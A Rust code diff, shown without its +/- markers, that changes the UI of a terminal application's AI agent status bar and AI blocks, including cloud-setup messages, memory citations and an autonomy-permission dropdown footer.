||||
AutoExecuteButtonProps {
|
||||
button_handle: &self.state_handles.autoexecute_button,
|
||||
keystroke: self.autoexecute_keystroke.as_ref(),
|
||||
is_active: model
|
||||
.conversation(app)
|
||||
.map(|c| c.autoexecute_any_action())
|
||||
.unwrap_or(false),
|
||||
is_locked: is_in_cloud_context(
|
||||
terminal_model.block_list().agent_view_state(),
|
||||
&terminal_model,
|
||||
),
|
||||
},
|
||||
),
|
||||
queue_next_prompt_button: FeatureFlag::QueueSlashCommand.is_enabled().then_some(
|
||||
ButtonProps {
|
||||
button_handle: &self.state_handles.queue_next_prompt_button,
|
||||
keystroke: self.queue_next_prompt_keystroke.as_ref(),
|
||||
is_active: self
|
||||
.context_model
|
||||
.as_ref(app)
|
||||
.is_queue_next_prompt_enabled(),
|
||||
is_active: QueuedQueryModel::as_ref(app).is_queue_next_prompt_enabled(
|
||||
conversation.id(),
|
||||
active_block,
|
||||
app,
|
||||
),
|
||||
},
|
||||
),
|
||||
stop_button: Some(ButtonProps {
|
||||
@@ -961,16 +960,21 @@ impl BlocklistAIStatusBar {
|
||||
return None;
|
||||
}
|
||||
|
||||
let ambient_agent_model = self.ambient_agent_view_model.as_ref(app);
|
||||
let ambient_agent_model = self
|
||||
.ambient_agent_view_model
|
||||
.as_ref()
|
||||
.map(|ambient_agent_view_model| ambient_agent_view_model.as_ref(app))?;
|
||||
|
||||
// The step indicator is only meaningful while a spawn is in flight. Terminal states
|
||||
// (`Failed`, `NeedsGithubAuth`, `Cancelled`) still carry an `AgentProgress` for
|
||||
// telemetry purposes, so guard on `is_waiting_for_session()` rather than relying on
|
||||
// `agent_progress()` being `None`.
|
||||
if !ambient_agent_model.is_waiting_for_session() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let progress = ambient_agent_model.agent_progress()?;
|
||||
let progress_text = if progress.harness_started_at.is_some() {
|
||||
"Starting Environment (Step 3/3)"
|
||||
} else if progress.claimed_at.is_some() {
|
||||
"Creating Environment (Step 2/3)"
|
||||
} else {
|
||||
"Connecting to Host (Step 1/3)"
|
||||
};
|
||||
let progress_text = progress.setup_status_text();
|
||||
Some(render_warping_indicator_base(
|
||||
WarpingIndicatorProps {
|
||||
icon: None,
|
||||
@@ -988,58 +992,58 @@ impl BlocklistAIStatusBar {
|
||||
))
|
||||
}
|
||||
|
||||
fn render_cloud_mode_setup_terminal_message(&self, app: &AppContext) -> Option<Message> {
|
||||
fn render_cloud_mode_setup_terminal_message(
|
||||
&self,
|
||||
app: &AppContext,
|
||||
) -> Option<Box<dyn Element>> {
|
||||
if !FeatureFlag::CloudModeSetupV2.is_enabled() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let ambient_agent_model = self.ambient_agent_view_model.as_ref(app);
|
||||
let ambient_agent_model = self
|
||||
.ambient_agent_view_model
|
||||
.as_ref()
|
||||
.map(|ambient_agent_view_model| ambient_agent_view_model.as_ref(app))?;
|
||||
let theme = Appearance::as_ref(app).theme();
|
||||
let error_color = theme.ansi_fg_red();
|
||||
|
||||
if let Some(auth_url) = ambient_agent_model.github_auth_url() {
|
||||
return Some(Message::new(vec![
|
||||
MessageItem::Icon {
|
||||
icon: CoreIcon::Triangle,
|
||||
color: Some(error_color),
|
||||
},
|
||||
MessageItem::Text {
|
||||
content: "Missing GitHub authentication. ".into(),
|
||||
color: Some(error_color),
|
||||
},
|
||||
MessageItem::hyperlink(
|
||||
"Authenticate GitHub",
|
||||
auth_url.to_owned(),
|
||||
self.state_handles.github_auth_link.clone(),
|
||||
),
|
||||
]));
|
||||
}
|
||||
|
||||
if let Some(error_message) = ambient_agent_model.error_message() {
|
||||
return Some(Message::new(vec![
|
||||
MessageItem::Icon {
|
||||
icon: CoreIcon::Triangle,
|
||||
color: Some(error_color),
|
||||
},
|
||||
MessageItem::Text {
|
||||
content: error_message.to_owned().into(),
|
||||
color: Some(error_color),
|
||||
},
|
||||
]));
|
||||
let error_message = ambient_agent_model
|
||||
.github_auth_error_message()
|
||||
.unwrap_or("Missing GitHub authentication.");
|
||||
return Some(render_wrapping_standard_message_bar(
|
||||
CoreIcon::Triangle,
|
||||
error_color,
|
||||
error_color,
|
||||
vec![
|
||||
FormattedTextFragment::plain_text(format!("{error_message} ")),
|
||||
FormattedTextFragment::hyperlink("Authenticate GitHub", auth_url.to_owned()),
|
||||
],
|
||||
app,
|
||||
));
|
||||
}
|
||||
|
||||
if ambient_agent_model.is_cancelled() {
|
||||
let color = theme.disabled_text_color(theme.background()).into_solid();
|
||||
return Some(Message::new(vec![
|
||||
MessageItem::Icon {
|
||||
icon: CoreIcon::StopFilled,
|
||||
color: Some(color),
|
||||
},
|
||||
MessageItem::Text {
|
||||
content: "Cloud agent run cancelled".into(),
|
||||
color: Some(color),
|
||||
},
|
||||
]));
|
||||
return Some(render_wrapping_standard_message_bar(
|
||||
CoreIcon::StopFilled,
|
||||
color,
|
||||
color,
|
||||
vec![FormattedTextFragment::plain_text(
|
||||
"Cloud agent run cancelled",
|
||||
)],
|
||||
app,
|
||||
));
|
||||
}
|
||||
|
||||
if let Some(error_message) = ambient_agent_model.error_message() {
|
||||
return Some(render_wrapping_standard_message_bar(
|
||||
CoreIcon::Triangle,
|
||||
error_color,
|
||||
error_color,
|
||||
vec![FormattedTextFragment::plain_text(error_message.to_owned())],
|
||||
app,
|
||||
));
|
||||
}
|
||||
|
||||
None
|
||||
@@ -1065,15 +1069,16 @@ fn latest_model_used_before_exchange<V: View>(
|
||||
model_id: model_info.model_id.to_string(),
|
||||
model_display_name: model_info.display_name.clone(),
|
||||
is_fallback: model_info.is_fallback,
|
||||
prompt_cache_expires_at: None,
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
fn render_agent_tip(tip: &AgentTip, app: &AppContext) -> Box<dyn Element> {
|
||||
use crate::ai::agent_tips::AITip;
|
||||
use galaxyui::text_layout::ClipConfig;
|
||||
use markdown_parser::{FormattedTextFragment, FormattedTextLine};
|
||||
|
||||
use crate::ai::agent_tips::AITip;
|
||||
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
|
||||
@@ -1218,17 +1223,24 @@ impl View for BlocklistAIStatusBar {
|
||||
if let Some(cloud_mode_setup_terminal_message) =
|
||||
self.render_cloud_mode_setup_terminal_message(app)
|
||||
{
|
||||
return render_standard_message_bar(cloud_mode_setup_terminal_message, None, app);
|
||||
return cloud_mode_setup_terminal_message;
|
||||
}
|
||||
let status_element =
|
||||
if let Some(cloud_mode_setup_status) = self.render_cloud_mode_setup_status(app) {
|
||||
cloud_mode_setup_status
|
||||
} else if FeatureFlag::CloudModeSetupV2.is_enabled()
|
||||
&& is_cloud_agent_pre_first_exchange(
|
||||
&self.ambient_agent_view_model,
|
||||
&self.agent_view_controller,
|
||||
app,
|
||||
)
|
||||
&& self
|
||||
.ambient_agent_view_model
|
||||
.as_ref()
|
||||
.is_some_and(|ambient_agent_view_model| {
|
||||
let terminal_model = self.terminal_model.lock();
|
||||
is_cloud_agent_pre_first_exchange(
|
||||
Some(ambient_agent_view_model),
|
||||
&self.agent_view_controller,
|
||||
&terminal_model,
|
||||
app,
|
||||
)
|
||||
})
|
||||
{
|
||||
render_warping_indicator_base(
|
||||
WarpingIndicatorProps {
|
||||
@@ -1288,16 +1300,20 @@ impl View for BlocklistAIStatusBar {
|
||||
.is_none(),
|
||||
) {
|
||||
warping_indicator
|
||||
} else if self
|
||||
.ambient_agent_view_model
|
||||
.as_ref(app)
|
||||
.is_waiting_for_session()
|
||||
{
|
||||
} else if self.ambient_agent_view_model.as_ref().is_some_and(
|
||||
|ambient_agent_view_model| {
|
||||
ambient_agent_view_model
|
||||
.as_ref(app)
|
||||
.is_waiting_for_session()
|
||||
},
|
||||
) {
|
||||
// Don't render warping indicator - the loading screen is shown in the main view
|
||||
return Empty::new().finish();
|
||||
} else if agent_view_controller.is_active() {
|
||||
// The orchestration pill bar in the agent view header
|
||||
// replaces the legacy child-agent status card rows;
|
||||
// render only the message bar here.
|
||||
return Flex::column()
|
||||
.with_child(ChildView::new(&self.child_agent_status_card).finish())
|
||||
.with_child(ChildView::new(&self.agent_message_bar).finish())
|
||||
.finish();
|
||||
} else {
|
||||
@@ -1363,16 +1379,6 @@ impl View for BlocklistAIStatusBar {
|
||||
container = container.with_vertical_padding(8.);
|
||||
}
|
||||
|
||||
// When the agent view is active, keep the child agent status card
|
||||
// visible above the warping/status indicator so it doesn't disappear
|
||||
// while the agent is working.
|
||||
if agent_view_controller.is_active() {
|
||||
return Flex::column()
|
||||
.with_child(ChildView::new(&self.child_agent_status_card).finish())
|
||||
.with_child(container.finish())
|
||||
.finish();
|
||||
}
|
||||
|
||||
container.finish()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,19 +1,17 @@
|
||||
use warpui::elements::{
|
||||
Border, Container, CornerRadius, CrossAxisAlignment, Expanded, Flex, Hoverable,
|
||||
MainAxisAlignment, MainAxisSize, MouseStateHandle, ParentElement, Radius,
|
||||
};
|
||||
use warpui::keymap::macros::*;
|
||||
use warpui::keymap::{FixedBinding, Keystroke};
|
||||
use warpui::platform::Cursor;
|
||||
use warpui::ui_components::components::{Coords, UiComponent, UiComponentStyles};
|
||||
use warpui::ui_components::keyboard_shortcut::KeyboardShortcut;
|
||||
use warpui::ui_components::text::Span;
|
||||
use warpui::{AppContext, Element, Entity, SingletonEntity, TypedActionView, View, ViewContext};
|
||||
|
||||
use crate::appearance::Appearance;
|
||||
use crate::ui_components::blended_colors;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
Border, Container, CornerRadius, CrossAxisAlignment, Expanded, Flex, Hoverable,
|
||||
MainAxisAlignment, MainAxisSize, MouseStateHandle, ParentElement, Radius,
|
||||
},
|
||||
keymap::{macros::*, FixedBinding, Keystroke},
|
||||
platform::Cursor,
|
||||
ui_components::{
|
||||
components::{Coords, UiComponent, UiComponentStyles},
|
||||
keyboard_shortcut::KeyboardShortcut,
|
||||
text::Span,
|
||||
},
|
||||
AppContext, Element, Entity, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
};
|
||||
|
||||
type ItemLabelFn<T> = Box<dyn Fn(&T, &AppContext) -> Span>;
|
||||
|
||||
|
||||
@@ -29,70 +29,65 @@ pub mod output;
|
||||
pub mod query;
|
||||
mod todos;
|
||||
|
||||
use common::get_highlight_ranges_for_find_matches;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::semantic_selection::SemanticSelection;
|
||||
use galaxyui::elements::{
|
||||
Align, ConstrainedBox, CornerRadius, CrossAxisAlignment, Empty, Expanded, FormattedTextElement,
|
||||
Hoverable, MainAxisAlignment, MainAxisSize, MouseStateHandle, Radius, SavePosition,
|
||||
SelectableArea,
|
||||
};
|
||||
use galaxyui::{
|
||||
elements::{Border, Container, Flex, ParentElement},
|
||||
AppContext, Element, SingletonEntity,
|
||||
};
|
||||
use galaxyui::{View, ViewContext};
|
||||
use pathfinder_color::ColorU;
|
||||
use settings::Setting as _;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
|
||||
use crate::ai::agent::AIAgentCitation;
|
||||
use crate::ai::agent::AIAgentInput;
|
||||
use crate::ai::blocklist::block::view_impl::header::{
|
||||
render_overflow_menu_button, OVERFLOW_BUTTON_SIZE,
|
||||
};
|
||||
use crate::ai::blocklist::inline_action::inline_action_icons::icon_size;
|
||||
use crate::ai::blocklist::model::AIBlockModelHelper;
|
||||
use crate::appearance::Appearance;
|
||||
use crate::settings::{AISettings, InputModeSettings, InputSettings};
|
||||
use crate::terminal::model::blocks::{BlockHeightItem, RemovableBlocklistItem, RichContentItem};
|
||||
use crate::terminal::model::rich_content::RichContentType;
|
||||
use crate::terminal::TerminalView;
|
||||
use crate::util::truncation::truncate_from_end;
|
||||
|
||||
use super::secret_redaction::SecretRedactionState;
|
||||
use super::{
|
||||
attachment_names, AIBlock, AIBlockAction, DISPATCHED_REQUESTED_EDIT_KEYMAP_CONTEXT,
|
||||
HAS_PENDING_ACTION, RICH_CONTENT_SECRET_FIRST_CHAR_POSITION_ID,
|
||||
};
|
||||
|
||||
use super::TextLocation;
|
||||
use crate::ai::blocklist::block::view_impl::comments::address_comment_chips;
|
||||
use crate::ai::blocklist::block::{DetectedLinksState, RICH_CONTENT_LINK_FIRST_CHAR_POSITION_ID};
|
||||
use crate::ai::blocklist::history_model::BlocklistAIHistoryModel;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
|
||||
use crate::settings_view::SettingsSection;
|
||||
use crate::terminal::block_list_element::BlockListMenuSource;
|
||||
use crate::terminal::grid_renderer::URL_COLOR;
|
||||
use crate::terminal::model::ObfuscateSecrets;
|
||||
use crate::terminal::safe_mode_settings::get_secret_obfuscation_mode;
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::util::link_detection::DetectedLinkType;
|
||||
use crate::workspace::WorkspaceAction;
|
||||
use common::get_highlight_ranges_for_find_matches;
|
||||
use itertools::Itertools;
|
||||
use pathfinder_color::ColorU;
|
||||
use settings::Setting as _;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::semantic_selection::SemanticSelection;
|
||||
use galaxy_core::ui::color::contrast::{
|
||||
foreground_color_with_minimum_contrast, MinimumAllowedContrast,
|
||||
};
|
||||
use galaxy_core::ui::color::Rgb;
|
||||
use galaxy_core::ui::theme::{Fill, GalaxyTheme};
|
||||
use galaxyui::elements::{Highlight, HighlightedRange, Text};
|
||||
use galaxy_core::ui::theme::{Fill, WarpTheme};
|
||||
use galaxyui::elements::{
|
||||
Align, Border, Clipped, ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty,
|
||||
Expanded, Flex, FormattedTextElement, Highlight, HighlightedRange, Hoverable,
|
||||
MainAxisAlignment, MainAxisSize, MouseStateHandle, ParentElement, Radius, SavePosition,
|
||||
SelectableArea, Text,
|
||||
};
|
||||
use galaxyui::fonts::Properties;
|
||||
use galaxyui::platform::Cursor;
|
||||
use galaxyui::text_layout::TextStyle;
|
||||
use galaxyui::ui_components::components::UiComponent;
|
||||
use itertools::Itertools;
|
||||
use galaxyui::{AppContext, Element, SingletonEntity, View, ViewContext};
|
||||
|
||||
use super::secret_redaction::SecretRedactionState;
|
||||
use super::{
|
||||
attachment_names, AIBlock, AIBlockAction, TextLocation,
|
||||
DISPATCHED_REQUESTED_EDIT_KEYMAP_CONTEXT, HAS_PENDING_ACTION,
|
||||
RICH_CONTENT_SECRET_FIRST_CHAR_POSITION_ID,
|
||||
};
|
||||
use crate::ai::agent::{AIAgentCitation, AIAgentInput};
|
||||
use crate::ai::blocklist::block::view_impl::comments::address_comment_chips;
|
||||
use crate::ai::blocklist::block::view_impl::header::{
|
||||
render_overflow_menu_button, OVERFLOW_BUTTON_SIZE,
|
||||
};
|
||||
use crate::ai::blocklist::block::{DetectedLinksState, RICH_CONTENT_LINK_FIRST_CHAR_POSITION_ID};
|
||||
use crate::ai::blocklist::history_model::BlocklistAIHistoryModel;
|
||||
use crate::ai::blocklist::inline_action::inline_action_icons::icon_size;
|
||||
use crate::ai::blocklist::model::AIBlockModelHelper;
|
||||
use crate::appearance::Appearance;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::settings::{AISettings, InputModeSettings, InputSettings};
|
||||
use crate::settings_view::SettingsSection;
|
||||
use crate::terminal::block_list_element::BlockListMenuSource;
|
||||
use crate::terminal::grid_renderer::URL_COLOR;
|
||||
use crate::terminal::model::blocks::{BlockHeightItem, RemovableBlocklistItem, RichContentItem};
|
||||
use crate::terminal::model::rich_content::RichContentType;
|
||||
use crate::terminal::model::ObfuscateSecrets;
|
||||
use crate::terminal::safe_mode_settings::get_secret_obfuscation_mode;
|
||||
use crate::terminal::view::ambient_agent::is_cloud_agent_pre_first_exchange;
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::terminal::TerminalView;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::util::link_detection::DetectedLinkType;
|
||||
use crate::util::truncation::truncate_from_end;
|
||||
use crate::view_components::dropdown::DropdownItemAction;
|
||||
use crate::workspace::WorkspaceAction;
|
||||
|
||||
/// Helper function to create gray strikethrough highlight for secrets
|
||||
fn create_secret_gray_highlight() -> Highlight {
|
||||
@@ -154,27 +149,6 @@ fn add_slash_command_highlight(
|
||||
}
|
||||
}
|
||||
|
||||
/// In shared ambient sessions, the first prompt is already shown by
|
||||
/// `InitialUserQuery` during live startup/streaming.
|
||||
///
|
||||
/// To avoid duplicate UI, we suppress the first AI block's header/query only while the viewer is
|
||||
/// live (not replaying historical conversation events).
|
||||
///
|
||||
/// That first prompt is rendered in the ambient-agent query block UI, so this helper only gates
|
||||
/// duplicate rendering in the AI block path when that optimistic block was actually inserted.
|
||||
fn should_hide_first_ai_block_query_and_header(
|
||||
has_inserted_cloud_mode_user_query_block: bool,
|
||||
is_shared_ambient_agent_session: bool,
|
||||
is_first_exchange: bool,
|
||||
is_receiving_agent_conversation_replay: bool,
|
||||
) -> bool {
|
||||
FeatureFlag::CloudModeSetupV2.is_enabled()
|
||||
&& has_inserted_cloud_mode_user_query_block
|
||||
&& is_shared_ambient_agent_session
|
||||
&& is_first_exchange
|
||||
&& !is_receiving_agent_conversation_replay
|
||||
}
|
||||
|
||||
/// Adds the appropriate highlighting for secrets and links to the given text element.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn add_highlights_to_text(
|
||||
@@ -704,6 +678,15 @@ pub fn render_citation(
|
||||
let name = url.clone();
|
||||
(Some(icon), name)
|
||||
}
|
||||
AIAgentCitation::AgentMemory { content, .. } => {
|
||||
let icon = Icon::Cognition.to_warpui_icon(theme.foreground()).finish();
|
||||
let name = if content.is_empty() {
|
||||
String::from("Memory")
|
||||
} else {
|
||||
content.clone()
|
||||
};
|
||||
(Some(icon), name)
|
||||
}
|
||||
};
|
||||
|
||||
// Shorten the name to 30 chars.
|
||||
@@ -747,6 +730,76 @@ pub fn render_citation(
|
||||
)
|
||||
}
|
||||
|
||||
/// Renders the Ask-User-Question speedbump footer: a short description label, a
|
||||
/// dropdown for the `ask_user_question` permission, and a right-aligned
|
||||
/// "Manage AI Autonomy permissions" link. Matches the visual rhythm of
|
||||
/// [`render_autonomy_checkbox_setting_speedbump_footer`].
|
||||
pub fn render_autonomy_dropdown_setting_speedbump_footer<A>(
|
||||
description: &'static str,
|
||||
dropdown: &warpui::ViewHandle<crate::view_components::dropdown::Dropdown<A>>,
|
||||
settings_link_handle: MouseStateHandle,
|
||||
app: &AppContext,
|
||||
) -> Box<dyn Element>
|
||||
where
|
||||
A: DropdownItemAction,
|
||||
{
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
Clipped::new(
|
||||
Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_main_axis_size(MainAxisSize::Max)
|
||||
.with_child(
|
||||
Container::new(
|
||||
Text::new(
|
||||
description,
|
||||
appearance.ui_font_family(),
|
||||
appearance.monospace_font_size() - 1.,
|
||||
)
|
||||
.with_color(blended_colors::text_sub(theme, theme.surface_1()))
|
||||
.with_selectable(false)
|
||||
.finish(),
|
||||
)
|
||||
.with_margin_right(8.)
|
||||
.finish(),
|
||||
)
|
||||
.with_child(
|
||||
Container::new(warpui::elements::ChildView::new(dropdown).finish())
|
||||
.with_margin_right(8.)
|
||||
.finish(),
|
||||
)
|
||||
.with_child(
|
||||
Expanded::new(
|
||||
1.,
|
||||
Align::new(
|
||||
appearance
|
||||
.ui_builder()
|
||||
.link(
|
||||
"Manage AI Autonomy permissions".into(),
|
||||
None,
|
||||
Some(Box::new(move |ctx| {
|
||||
ctx.dispatch_typed_action(
|
||||
WorkspaceAction::ShowSettingsPageWithSearch {
|
||||
search_query: "Autonomy".to_string(),
|
||||
section: Some(SettingsSection::AI),
|
||||
},
|
||||
);
|
||||
})),
|
||||
settings_link_handle,
|
||||
)
|
||||
.build()
|
||||
.finish(),
|
||||
)
|
||||
.right()
|
||||
.finish(),
|
||||
)
|
||||
.finish(),
|
||||
)
|
||||
.finish(),
|
||||
)
|
||||
.finish()
|
||||
}
|
||||
|
||||
/// TODO: All AIBlock footer-related rendering logic should probably be put into its own View.
|
||||
/// This function is needed both above (i.e. `block.rs`) and below (i.e. `output.rs`), and as such
|
||||
/// cannot reside in `output.rs` because we don't want to make `mod output` public.
|
||||
@@ -846,26 +899,6 @@ impl View for AIBlock {
|
||||
};
|
||||
let addressed_comment_ids = conversation.addressed_comment_ids();
|
||||
let mut contents = Flex::column();
|
||||
let (is_shared_ambient_agent_session, is_receiving_agent_conversation_replay) = {
|
||||
let terminal_model = self.terminal_model.lock();
|
||||
(
|
||||
terminal_model.is_shared_ambient_agent_session(),
|
||||
terminal_model.is_receiving_agent_conversation_replay(),
|
||||
)
|
||||
};
|
||||
let is_first_exchange = conversation
|
||||
.first_exchange()
|
||||
.is_some_and(|exchange| exchange.id == self.client_ids.client_exchange_id);
|
||||
let has_inserted_cloud_mode_user_query_block = self
|
||||
.ambient_agent_view_model
|
||||
.as_ref(app)
|
||||
.has_inserted_cloud_mode_user_query_block();
|
||||
let should_hide_first_block_query_and_header = should_hide_first_ai_block_query_and_header(
|
||||
has_inserted_cloud_mode_user_query_block,
|
||||
is_shared_ambient_agent_session,
|
||||
is_first_exchange,
|
||||
is_receiving_agent_conversation_replay,
|
||||
);
|
||||
|
||||
let input_props = input::Props {
|
||||
comments: &self.comment_states,
|
||||
@@ -893,143 +926,135 @@ impl View for AIBlock {
|
||||
element_below_user_query,
|
||||
))
|
||||
});
|
||||
let query_and_index_is_some =
|
||||
query_and_index.is_some() && !should_hide_first_block_query_and_header;
|
||||
let query_and_index_is_some = query_and_index.is_some();
|
||||
let attachment_name_list = if FeatureFlag::ImageAsContext.is_enabled() {
|
||||
attachment_names(self.model.inputs_to_render(app))
|
||||
} else {
|
||||
vec![]
|
||||
};
|
||||
|
||||
if !should_hide_first_block_query_and_header {
|
||||
if let Some((
|
||||
query_for_display,
|
||||
input_index,
|
||||
query_prefix_highlight_len,
|
||||
elements_below_query,
|
||||
)) = query_and_index
|
||||
{
|
||||
let mut did_render_header = false;
|
||||
if let Some(header) = header::render(
|
||||
header::Props {
|
||||
attached_blocks_chip_mouse_state: &self
|
||||
.state_handles
|
||||
.attached_blocks_chip_state_handle,
|
||||
overflow_menu_mouse_state: &self.state_handles.overflow_menu_handle,
|
||||
rewind_button: &self.rewind_button,
|
||||
num_attached_context_blocks: self.num_attached_context_blocks,
|
||||
has_attached_context_selected_text: self.has_attached_context_selected_text,
|
||||
directory_context: &self.directory_context,
|
||||
view_id: &self.view_id,
|
||||
exchange_id: &self.client_ids.client_exchange_id,
|
||||
conversation_id: &self.client_ids.conversation_id,
|
||||
is_selected_text_attached_as_context: self
|
||||
.context_model
|
||||
.as_ref(app)
|
||||
.pending_context_selected_text()
|
||||
.is_some(),
|
||||
is_restored: self.is_restored(),
|
||||
},
|
||||
app,
|
||||
) {
|
||||
// Only render the prompt "header" for blocks containing a user query (as opposed to a
|
||||
// requested command result).
|
||||
contents.add_child(header.with_content_item_spacing().finish());
|
||||
did_render_header = true;
|
||||
}
|
||||
// Derive the display info for the participant who initiated this exchange.
|
||||
// For non-shared sessions, this is just the current user.
|
||||
// For shared sessions, this is the user who initiated the request.
|
||||
let (avatar_display_name, profile_image_path, avatar_color) = self
|
||||
.model
|
||||
.response_initiator(app)
|
||||
.and_then(|participant_id| {
|
||||
app.view_with_id::<TerminalView>(self.window_id, self.terminal_view_id)
|
||||
.and_then(|terminal_view| {
|
||||
terminal_view.read(app, |view, app| {
|
||||
view.shared_session_presence_manager().and_then(move |pm| {
|
||||
pm.as_ref(app).get_participant(&participant_id).map(
|
||||
|participant| {
|
||||
// Get the display info from the participant
|
||||
// who sent this query.
|
||||
(
|
||||
participant
|
||||
.info
|
||||
.profile_data
|
||||
.display_name
|
||||
.clone(),
|
||||
participant.info.profile_data.photo_url.clone(),
|
||||
Some(participant.color),
|
||||
)
|
||||
},
|
||||
)
|
||||
})
|
||||
if let Some((
|
||||
query_for_display,
|
||||
input_index,
|
||||
query_prefix_highlight_len,
|
||||
elements_below_query,
|
||||
)) = query_and_index
|
||||
{
|
||||
let mut did_render_header = false;
|
||||
if let Some(header) = header::render(
|
||||
header::Props {
|
||||
attached_blocks_chip_mouse_state: &self
|
||||
.state_handles
|
||||
.attached_blocks_chip_state_handle,
|
||||
overflow_menu_mouse_state: &self.state_handles.overflow_menu_handle,
|
||||
rewind_button: &self.rewind_button,
|
||||
num_attached_context_blocks: self.num_attached_context_blocks,
|
||||
has_attached_context_selected_text: self.has_attached_context_selected_text,
|
||||
directory_context: &self.directory_context,
|
||||
view_id: &self.view_id,
|
||||
exchange_id: &self.client_ids.client_exchange_id,
|
||||
conversation_id: &self.client_ids.conversation_id,
|
||||
is_selected_text_attached_as_context: self
|
||||
.context_model
|
||||
.as_ref(app)
|
||||
.pending_context_selected_text()
|
||||
.is_some(),
|
||||
is_restored: self.is_restored(),
|
||||
},
|
||||
app,
|
||||
) {
|
||||
// Only render the prompt "header" for blocks containing a user query (as opposed to a
|
||||
// requested command result).
|
||||
contents.add_child(header.with_content_item_spacing().finish());
|
||||
did_render_header = true;
|
||||
}
|
||||
// Derive the display info for the participant who initiated this exchange.
|
||||
// For non-shared sessions, this is just the current user.
|
||||
// For shared sessions, this is the user who initiated the request.
|
||||
let (avatar_display_name, profile_image_path, avatar_color) = self
|
||||
.model
|
||||
.response_initiator(app)
|
||||
.and_then(|participant_id| {
|
||||
app.view_with_id::<TerminalView>(self.window_id, self.terminal_view_id)
|
||||
.and_then(|terminal_view| {
|
||||
terminal_view.read(app, |view, app| {
|
||||
view.shared_session_presence_manager().and_then(move |pm| {
|
||||
pm.as_ref(app).get_participant(&participant_id).map(
|
||||
|participant| {
|
||||
// Get the display info from the participant
|
||||
// who sent this query.
|
||||
(
|
||||
participant.info.profile_data.display_name.clone(),
|
||||
participant.info.profile_data.photo_url.clone(),
|
||||
Some(participant.color),
|
||||
)
|
||||
},
|
||||
)
|
||||
})
|
||||
})
|
||||
})
|
||||
// Fallback to the current user's info if this is not a shared session
|
||||
// or the participant is not found.
|
||||
.unwrap_or((
|
||||
self.user_display_name.clone(),
|
||||
self.profile_image_path.clone(),
|
||||
None,
|
||||
));
|
||||
if let Some(rendered_query) = query::maybe_render(
|
||||
query::Props {
|
||||
user_display_name: &avatar_display_name,
|
||||
profile_image_path: profile_image_path.as_ref(),
|
||||
avatar_color,
|
||||
query_and_index: Some((&query_for_display, input_index)),
|
||||
query_prefix_highlight_len,
|
||||
detected_links_state: &self.detected_links_state,
|
||||
secret_redaction_state: &self.secret_redaction_state,
|
||||
is_selecting_text: self.state_handles.selection_handle.is_selecting(),
|
||||
is_ai_input_enabled: self
|
||||
.context_model
|
||||
.as_ref(app)
|
||||
.pending_context_selected_text()
|
||||
.is_some(),
|
||||
attachments: &attachment_name_list,
|
||||
find_context: self.find_model.as_ref(app).is_find_bar_open().then_some(
|
||||
FindContext {
|
||||
model: self.find_model.as_ref(app),
|
||||
state: &self.find_state,
|
||||
},
|
||||
),
|
||||
},
|
||||
app,
|
||||
) {
|
||||
if did_render_header {
|
||||
contents.add_child(rendered_query.with_content_item_spacing().finish());
|
||||
} else {
|
||||
// The query element is designed to be exactly icon_size() height.
|
||||
let rendered_query_height = icon_size(app);
|
||||
let margin_bottom = (CONTENT_ITEM_VERTICAL_MARGIN
|
||||
- (OVERFLOW_BUTTON_SIZE - rendered_query_height).max(0.))
|
||||
.max(0.);
|
||||
contents.add_child(
|
||||
Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_child(Expanded::new(1., rendered_query).finish())
|
||||
.with_child(render_overflow_menu_button(
|
||||
self.state_handles.overflow_menu_handle.clone(),
|
||||
self.view_id,
|
||||
self.client_ids.client_exchange_id,
|
||||
self.client_ids.conversation_id,
|
||||
self.is_restored(),
|
||||
app,
|
||||
))
|
||||
.finish()
|
||||
.with_content_item_spacing()
|
||||
.with_margin_bottom(margin_bottom)
|
||||
.finish(),
|
||||
);
|
||||
}
|
||||
})
|
||||
})
|
||||
// Fallback to the current user's info if this is not a shared session
|
||||
// or the participant is not found.
|
||||
.unwrap_or((
|
||||
self.user_display_name.clone(),
|
||||
self.profile_image_path.clone(),
|
||||
None,
|
||||
));
|
||||
if let Some(rendered_query) = query::maybe_render(
|
||||
query::Props {
|
||||
user_display_name: &avatar_display_name,
|
||||
profile_image_path: profile_image_path.as_ref(),
|
||||
avatar_color,
|
||||
query_and_index: Some((&query_for_display, input_index)),
|
||||
query_prefix_highlight_len,
|
||||
detected_links_state: &self.detected_links_state,
|
||||
secret_redaction_state: &self.secret_redaction_state,
|
||||
is_selecting_text: self.state_handles.selection_handle.is_selecting(),
|
||||
is_ai_input_enabled: self
|
||||
.context_model
|
||||
.as_ref(app)
|
||||
.pending_context_selected_text()
|
||||
.is_some(),
|
||||
attachments: &attachment_name_list,
|
||||
find_context: self.find_model.as_ref(app).is_find_bar_open().then_some(
|
||||
FindContext {
|
||||
model: self.find_model.as_ref(app),
|
||||
state: &self.find_state,
|
||||
},
|
||||
),
|
||||
},
|
||||
app,
|
||||
) {
|
||||
if did_render_header {
|
||||
contents.add_child(rendered_query.with_content_item_spacing().finish());
|
||||
} else {
|
||||
// The query element is designed to be exactly icon_size() height.
|
||||
let rendered_query_height = icon_size(app);
|
||||
let margin_bottom = (CONTENT_ITEM_VERTICAL_MARGIN
|
||||
- (OVERFLOW_BUTTON_SIZE - rendered_query_height).max(0.))
